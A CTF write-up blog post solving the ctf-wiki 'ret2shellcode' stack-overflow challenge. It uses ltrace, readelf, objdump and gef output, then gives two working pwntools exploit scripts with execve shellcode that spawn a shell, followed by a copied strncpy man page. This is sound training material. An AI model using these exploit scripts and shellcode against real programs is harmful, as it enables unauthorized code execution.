ROP----The Solution For Ret2shellcode

APP:

  https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode

 

Tools:

  gef  pwntools  ltrace  readelf objdump  shellcraft.sh()

 

Solution:

┌─[root@parrot]─[~/ROP]
└──╼ #cyclic  128
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
┌─[root@parrot]─[~/ROP]
└──╼ #ltrace ./ret2shellcode
__libc_start_main(0x804852d, 1, 0xffa09994, 0x80485d0 <unfinished ...>
setvbuf(0xf7ef7d80, 0, 2, 0)                                                      = 0
setvbuf(0xf7ef75c0, 0, 1, 0)                                                      = 0
puts("No system for you this time !!!"No system for you this time !!!
)                                           = 32
gets(0xffa0988c, 0, 1, 0aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
)                                                         = 0xffa0988c
strncpy(0x804a080, "aaaabaaacaaadaaaeaaafaaagaaahaaa"..., 100)                    = 0x804a080
printf("bye bye ~"bye bye ~)                                                               = 9
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

┌─[root@parrot]─[~/ROP]

└──╼ #readelf -S ret2shellcode|grep WA

  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [24] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a040 001030 0000a4 00  WA  0   0 32

Address 0x804a080 in .bss section,it's writable.

┌─[root@parrot]─[~/ROP]
└──╼ #objdump  -t ret2shellcode|grep .bss               //there have other symobols in .bss section could be write.
0804a040 l    d  .bss   00000000              .bss
0804a064 l     O .bss   00000001              completed.6591  
0804a080 g     O .bss   00000064              buf2
0804a040 g     O .bss   00000004              stdin@@GLIBC_2.0
0804a0e4 g       .bss   00000000              _end
0804a060 g     O .bss   00000004              stdout@@GLIBC_2.0
0804a030 g       .bss   00000000              __bss_start

Use Hopper or IDA disassember check the .bss section as below.

; Section .bss
; Range: [0x804a040; 0x804a0e4[ (164 bytes)
; No data on disk
; Flags: 0x3
; SHT_NOBITS
; SHF_WRITE
; SHF_ALLOC

  stdin@@GLIBC_2.0:
0804a040 db 0x00 ; '.' ; DATA XREF=main+46 0804a041 db 0x00 ; '.' 0804a042 db 0x00 ; '.' 0804a043 db 0x00 ; '.' 0804a044 db 0x00 ; '.' 0804a045 db 0x00 ; '.' 0804a046 db 0x00 ; '.' 0804a047 db 0x00 ; '.' 0804a048 db 0x00 ; '.' 0804a049 db 0x00 ; '.' 0804a04a db 0x00 ; '.' 0804a04b db 0x00 ; '.' 0804a04c db 0x00 ; '.' 0804a04d db 0x00 ; '.' 0804a04e db 0x00 ; '.' 0804a04f db 0x00 ; '.' 0804a050 db 0x00 ; '.' 0804a051 db 0x00 ; '.' 0804a052 db 0x00 ; '.' 0804a053 db 0x00 ; '.' 0804a054 db 0x00 ; '.' 0804a055 db 0x00 ; '.' 0804a056 db 0x00 ; '.' 0804a057 db 0x00 ; '.' 0804a058 db 0x00 ; '.' 0804a059 db 0x00 ; '.' 0804a05a db 0x00 ; '.' 0804a05b db 0x00 ; '.' 0804a05c db 0x00 ; '.' 0804a05d db 0x00 ; '.' 0804a05e db 0x00 ; '.' 0804a05f db 0x00 ; '.' stdout@@GLIBC_2.0: 0804a060 db 0x00 ; '.' ; DATA XREF=main+9 0804a061 db 0x00 ; '.' 0804a062 db 0x00 ; '.' 0804a063 db 0x00 ; '.' completed.6591: 0804a064 db 0x00 ; '.' ; DATA XREF=__do_global_dtors_aux, __do_global_dtors_aux+20 0804a065 db 0x00 ; '.' 0804a066 db 0x00 ; '.' 0804a067 db 0x00 ; '.' 0804a068 db 0x00 ; '.' 0804a069 db 0x00 ; '.' 0804a06a db 0x00 ; '.' 0804a06b db 0x00 ; '.' 0804a06c db 0x00 ; '.' 0804a06d db 0x00 ; '.' 0804a06e db 0x00 ; '.' 0804a06f db 0x00 ; '.' 0804a070 db 0x00 ; '.' 0804a071 db 0x00 ; '.' 0804a072 db 0x00 ; '.' 0804a073 db 0x00 ; '.' 0804a074 db 0x00 ; '.' 0804a075 db 0x00 ; '.' 0804a076 db 0x00 ; '.' 0804a077 db 0x00 ; '.' 0804a078 db 0x00 ; '.' 0804a079 db 0x00 ; '.' 0804a07a db 0x00 ; '.' 0804a07b db 0x00 ; '.' 0804a07c db 0x00 ; '.' 0804a07d db 0x00 ; '.' 0804a07e db 0x00 ; '.' 0804a07f db 0x00 ; '.' buf2: 0804a080 db 0x00 ; '.' ; DATA XREF=main+123 0804a081 db 0x00 ; '.' 0804a082 db 0x00 ; '.' 0804a083 db 0x00 ; '.' 0804a084 db 0x00 ; '.' 0804a085 db 0x00 ; '.' 0804a086 db 0x00 ; '.' 0804a087 db 0x00 ; '.' 0804a088 db 0x00 ; '.' 0804a089 db 0x00 ; '.' 0804a08a db 0x00 ; '.' 0804a08b db 0x00 ; '.' 0804a08c db 0x00 ; '.' 0804a08d db 0x00 ; '.' 0804a08e db 0x00 ; '.' 0804a08f db 0x00 ; '.' 0804a090 db 0x00 ; '.' 0804a091 db 0x00 ; '.' 0804a092 db 0x00 ; '.' 0804a093 db 0x00 ; '.' 0804a094 db 0x00 ; '.' 0804a095 db 0x00 ; '.' 0804a096 db 0x00 ; '.' 0804a097 db 0x00 ; '.' 0804a098 db 0x00 ; '.' 0804a099 db 0x00 ; '.' 0804a09a db 0x00 ; '.' 0804a09b db 0x00 ; '.' 0804a09c db 0x00 ; '.' 0804a09d db 0x00 ; '.' 0804a09e db 0x00 ; '.' 0804a09f db 0x00 ; '.' 0804a0a0 db 0x00 ; '.' 0804a0a1 db 0x00 ; '.' 0804a0a2 db 0x00 ; '.' 0804a0a3 db 0x00 ; '.' 0804a0a4 db 0x00 ; '.' 0804a0a5 db 0x00 ; '.' 0804a0a6 db 0x00 ; '.' 0804a0a7 db 0x00 ; '.' 0804a0a8 db 0x00 ; '.' 0804a0a9 db 0x00 ; '.' 0804a0aa db 0x00 ; '.' 0804a0ab db 0x00 ; '.' 0804a0ac db 0x00 ; '.' 0804a0ad db 0x00 ; '.' 0804a0ae db 0x00 ; '.' 0804a0af db 0x00 ; '.' 0804a0b0 db 0x00 ; '.' 0804a0b1 db 0x00 ; '.' 0804a0b2 db 0x00 ; '.' 0804a0b3 db 0x00 ; '.' 0804a0b4 db 0x00 ; '.' 0804a0b5 db 0x00 ; '.' 0804a0b6 db 0x00 ; '.' 0804a0b7 db 0x00 ; '.' 0804a0b8 db 0x00 ; '.' 0804a0b9 db 0x00 ; '.' 0804a0ba db 0x00 ; '.' 0804a0bb db 0x00 ; '.' 0804a0bc db 0x00 ; '.' 0804a0bd db 0x00 ; '.' 0804a0be db 0x00 ; '.' 0804a0bf db 0x00 ; '.' 0804a0c0 db 0x00 ; '.' 0804a0c1 db 0x00 ; '.' 0804a0c2 db 0x00 ; '.' 0804a0c3 db 0x00 ; '.' 0804a0c4 db 0x00 ; '.' 0804a0c5 db 0x00 ; '.' 0804a0c6 db 0x00 ; '.' 0804a0c7 db 0x00 ; '.' 0804a0c8 db 0x00 ; '.' 0804a0c9 db 0x00 ; '.' 0804a0ca db 0x00 ; '.' 0804a0cb db 0x00 ; '.' 0804a0cc db 0x00 ; '.' 0804a0cd db 0x00 ; '.' 0804a0ce db 0x00 ; '.' 0804a0cf db 0x00 ; '.' 0804a0d0 db 0x00 ; '.' 0804a0d1 db 0x00 ; '.' 0804a0d2 db 0x00 ; '.' 0804a0d3 db 0x00 ; '.' 0804a0d4 db 0x00 ; '.' 0804a0d5 db 0x00 ; '.' 0804a0d6 db 0x00 ; '.' 0804a0d7 db 0x00 ; '.' 0804a0d8 db 0x00 ; '.' 0804a0d9 db 0x00 ; '.' 0804a0da db 0x00 ; '.' 0804a0db db 0x00 ; '.' 0804a0dc db 0x00 ; '.' 0804a0dd db 0x00 ; '.' 0804a0de db 0x00 ; '.' 0804a0df db 0x00 ; '.' 0804a0e0 db 0x00 ; '.' 0804a0e1 db 0x00 ; '.' 0804a0e2 db 0x00 ; '.' 0804a0e3 db 0x00 ; '.'
In gef of gdb session,we could use vmmap check the writable section.
0x0804a000 0x0804b000 0x00001000 rwx /root/ROP/ret2shellcode
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/ROP/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /root/ROP/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /root/ROP/ret2shellcode
0xf7dbf000 0xf7f96000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.28.so
0xf7f96000 0xf7f97000 0x001d7000 --- /lib/i386-linux-gnu/libc-2.28.so
0xf7f97000 0xf7f99000 0x001d7000 r-x /lib/i386-linux-gnu/libc-2.28.so
0xf7f99000 0xf7f9a000 0x001d9000 rwx /lib/i386-linux-gnu/libc-2.28.so
0xf7f9a000 0xf7f9d000 0x00000000 rwx 
0xf7fce000 0xf7fd0000 0x00000000 rwx 
0xf7fd0000 0xf7fd3000 0x00000000 r-- [vvar]
0xf7fd3000 0xf7fd4000 0x00000000 r-x [vdso]
0xf7fd4000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.28.so
0xf7ffc000 0xf7ffd000 0x00027000 r-x /lib/i386-linux-gnu/ld-2.28.so
0xf7ffd000 0xf7ffe000 0x00028000 rwx /lib/i386-linux-gnu/ld-2.28.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

  

We use pwntools to generater a shellcode and write it to buf2 section.

shellcode = asm(shellcraft.sh())

len(shellcode) = 44                //This shellcode need 44 length of space.

The exploit script as below:

 

#!/usr/bin/env python2
from pwn import *

sh = process('ret2shellcode')
elf = ELF('ret2shellcode')

def pwn(sh,payload):
        sh.sendlineafter('!!!',payload)
        sh.interactive()

target = elf.symbols['buf2']               #The begin of buf2 is: 0x804a080
shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112,"A")+p32(target) 

pwn(sh,payload)

 

We can define shellcode ourselves,the script like below.

#!/usr/bin/env python2
# https://www.exploit-db.com/shellcodes/46809
from pwn import * sh = process('./ret2shellcode') elf = ELF('ret2shellcode') def pwn(sh,payload): sh.sendlineafter('!!!',payload) sh.interactive() target = elf.symbols['buf2'] shellcode = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" payload = shellcode.ljust(112,'a') + p32(target) pwn(sh,payload)

 

Reference:   (strncpy() manual)

┌─[root@parrot]─[~/ROP]
└──╼ #man strncpy

STRCPY(3)                                  Linux Programmer's Manual                                 STRCPY(3)

NAME
       strcpy, strncpy - copy a string

SYNOPSIS
       #include <string.h>

       char *strcpy(char *dest, const char *src);

       char *strncpy(char *dest, const char *src, size_t n);

DESCRIPTION
       The  strcpy() function copies the string pointed to by src, including the terminating null byte ('\0'),
       to the buffer pointed to by dest.  The strings may not overlap, and the destination string dest must be
       large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)

       The strncpy() function is similar, except that at most n bytes of src are copied.  Warning: If there is
       no null byte among the first n bytes of src, the string placed in dest will not be null-terminated.

       If the length of src is less than n, strncpy() writes additional null bytes to dest to  ensure  that  a
       total of n bytes are written.

       A simple implementation of strncpy() might be:

           char *
           strncpy(char *dest, const char *src, size_t n)
           {
               size_t i;

               for (i = 0; i < n && src[i] != '\0'; i++)
                   dest[i] = src[i];
               for ( ; i < n; i++)
                   dest[i] = '\0';

               return dest;
           }

RETURN VALUE
       The strcpy() and strncpy() functions return a pointer to the destination string dest.

ATTRIBUTES
       For an explanation of the terms used in this section, see attributes(7).

       ┌────────────────────┬───────────────┬─────────┐
       │Interface           │ Attribute     │ Value   │
       ├────────────────────┼───────────────┼─────────┤
       │strcpy(), strncpy() │ Thread safety │ MT-Safe │
       └────────────────────┴───────────────┴─────────┘
CONFORMING TO
       POSIX.1-2001, POSIX.1-2008, C89, C99, SVr4, 4.3BSD.
CONFORMING TO
       POSIX.1-2001, POSIX.1-2008, C89, C99, SVr4, 4.3BSD.

NOTES
       Some  programmers consider strncpy() to be inefficient and error prone.  If the programmer knows (i.e.,
       includes code to test!)  that the size of dest is greater than the length of src, then strcpy() can  be
       used.

       One valid (and intended) use of strncpy() is to copy a C string to a fixed-length buffer while ensuring
       both that the buffer is not overflowed and that unused bytes in the target buffer are zeroed out  (per‐
       haps  to  prevent  information  leaks if the buffer is to be written to media or transmitted to another
       process via an interprocess communication technique).

       If there is no terminating null byte in the first n bytes of src, strncpy()  produces  an  unterminated
       string  in  dest.  If buf has length buflen, you can force termination using something like the follow‐
       ing:

           strncpy(buf, str, buflen - 1);
           if (buflen > 0)
               buf[buflen - 1]= '\0';

       (Of course, the above technique ignores the fact that, if src contains more than buflen - 1 bytes,  in‐
       formation is lost in the copying to dest.)

   strlcpy()
       Some systems (the BSDs, Solaris, and others) provide the following function:

           size_t strlcpy(char *dest, const char *src, size_t size);

       This function is similar to strncpy(), but it copies at most size-1 bytes to dest, always adds a termi‐
       nating null byte, and does not pad the target with (further) null bytes.  This function fixes  some  of
       the  problems  of strcpy() and strncpy(), but the caller must still handle the possibility of data loss
       if size is too small.  The return value of the function is the length of src, which  allows  truncation
       to  be  easily detected: if the return value is greater than or equal to size, truncation occurred.  If
       loss of data matters, the caller must either check the arguments before the call, or test the  function
       return  value.  strlcpy() is not present in glibc and is not standardized by POSIX, but is available on
       Linux via the libbsd library.

BUGS
       If the destination string of a strcpy() is not large enough, then anything might  happen.   Overflowing
       fixed-length string buffers is a favorite cracker technique for taking complete control of the machine.
       Any time a program reads or copies data into a buffer, the program first needs to  check  that  there's
       enough  space.   This  may  be unnecessary if you can show that overflow is impossible, but be careful:
       programs can get changed over time, in ways that may make the impossible possible.

SEE ALSO
       bcopy(3), memccpy(3), memcpy(3), memmove(3), stpcpy(3), stpncpy(3),  strdup(3),  string(3),  wcscpy(3),
       wcsncpy(3)

COLOPHON
       This page is part of release 4.16 of the Linux man-pages project.  A description of the project, infor‐
       mation  about  reporting  bugs,  and  the  latest   version   of   this   page,   can   be   found   at
       https://www.kernel.org/doc/man-pages/.

GNU                                               2017-09-15                                         STRCPY(3)

 

posted @ 2019-06-09 14:23  heycomputer  阅读(333)  评论(0编辑  收藏  举报